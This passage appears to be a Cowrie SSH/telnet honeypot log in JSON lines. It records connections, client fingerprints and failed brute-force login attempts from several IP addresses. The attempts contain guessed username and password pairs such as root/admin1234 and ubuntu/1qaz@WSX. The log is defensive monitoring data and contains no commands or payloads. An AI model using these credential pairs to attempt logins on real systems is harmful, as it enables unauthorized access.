16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:14.417417Z","src_ip":"103.82.132.16","session":"204f9406818b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nhfnfnf","message":"login attempt [root/nhfnfnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:15.175155Z","src_ip":"103.82.132.16","session":"204f9406818b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:16.095510Z","src_ip":"193.151.144.93","session":"573590e2bf35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:16.426468Z","src_ip":"103.82.132.16","session":"204f9406818b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39700,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d12a072f3c","protocol":"ssh","message":"New connection: 193.151.144.93:39700 (10.17.0.5:22) [session: 06d12a072f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:18.848310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:18.851851Z","src_ip":"193.151.144.93","session":"06d12a072f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:19.017850Z","src_ip":"193.151.144.93","session":"06d12a072f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:19.518517Z","src_ip":"193.151.144.93","session":"06d12a072f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:20.688035Z","src_ip":"193.151.144.93","session":"06d12a072f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52532,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcbe9a080545","protocol":"ssh","message":"New connection: 193.151.144.93:52532 (10.17.0.5:22) [session: bcbe9a080545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:24.236924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:24.241816Z","src_ip":"193.151.144.93","session":"bcbe9a080545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:24.411425Z","src_ip":"193.151.144.93","session":"bcbe9a080545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":48586,"dst_ip":"10.17.0.5","dst_port":22,"session":"13187b309818","protocol":"ssh","message":"New connection: 103.82.20.28:48586 (10.17.0.5:22) [session: 13187b309818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:25.113562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:25.119218Z","src_ip":"103.82.20.28","session":"13187b309818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:25.389648Z","src_ip":"103.82.20.28","session":"13187b309818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:25.887362Z","src_ip":"193.151.144.93","session":"bcbe9a080545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hottie","message":"login attempt [root/hottie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:26.198143Z","src_ip":"103.82.20.28","session":"13187b309818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:27.058438Z","src_ip":"193.151.144.93","session":"bcbe9a080545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:27.470194Z","src_ip":"103.82.20.28","session":"13187b309818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52544,"dst_ip":"10.17.0.5","dst_port":22,"session":"49f7618b4efb","protocol":"ssh","message":"New connection: 193.151.144.93:52544 (10.17.0.5:22) [session: 49f7618b4efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:29.626135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:29.630341Z","src_ip":"193.151.144.93","session":"49f7618b4efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:29.804631Z","src_ip":"193.151.144.93","session":"49f7618b4efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:30.335612Z","src_ip":"193.151.144.93","session":"49f7618b4efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:31.514880Z","src_ip":"193.151.144.93","session":"49f7618b4efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46678,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6dda42aeea","protocol":"telnet","message":"New connection: 69.4.83.194:46678 (159.203.135.109:23) [session: 3f6dda42aeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:32.353023Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49710,"dst_ip":"10.17.0.5","dst_port":22,"session":"6623b3e4dac3","protocol":"ssh","message":"New connection: 193.151.144.93:49710 (10.17.0.5:22) [session: 6623b3e4dac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:35.138414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:35.143495Z","src_ip":"193.151.144.93","session":"6623b3e4dac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:35.314326Z","src_ip":"193.151.144.93","session":"6623b3e4dac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:35.816528Z","src_ip":"193.151.144.93","session":"6623b3e4dac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.35353446006775,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:38.539229Z","src_ip":"69.4.83.194","session":"225b8cf38ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:40.315913Z","src_ip":"193.151.144.93","session":"6623b3e4dac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40478,"dst_ip":"10.17.0.5","dst_port":22,"session":"403aab4c634a","protocol":"ssh","message":"New connection: 193.151.144.93:40478 (10.17.0.5:22) [session: 403aab4c634a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:40.611744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:40.616491Z","src_ip":"193.151.144.93","session":"403aab4c634a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:40.781373Z","src_ip":"193.151.144.93","session":"403aab4c634a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:41.289030Z","src_ip":"193.151.144.93","session":"403aab4c634a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:42.880294Z","src_ip":"193.151.144.93","session":"403aab4c634a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40492,"dst_ip":"10.17.0.5","dst_port":22,"session":"caedb09d771a","protocol":"ssh","message":"New connection: 193.151.144.93:40492 (10.17.0.5:22) [session: caedb09d771a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:46.028568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:46.038053Z","src_ip":"193.151.144.93","session":"caedb09d771a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:46.201374Z","src_ip":"193.151.144.93","session":"caedb09d771a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:46.689106Z","src_ip":"193.151.144.93","session":"caedb09d771a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:48.280951Z","src_ip":"193.151.144.93","session":"caedb09d771a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"84caf2a60fa7","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 84caf2a60fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:48.473625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:48.478084Z","src_ip":"23.97.62.150","session":"84caf2a60fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:48.717157Z","src_ip":"23.97.62.150","session":"84caf2a60fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:49.434644Z","src_ip":"23.97.62.150","session":"84caf2a60fa7","protocol":"ssh"}
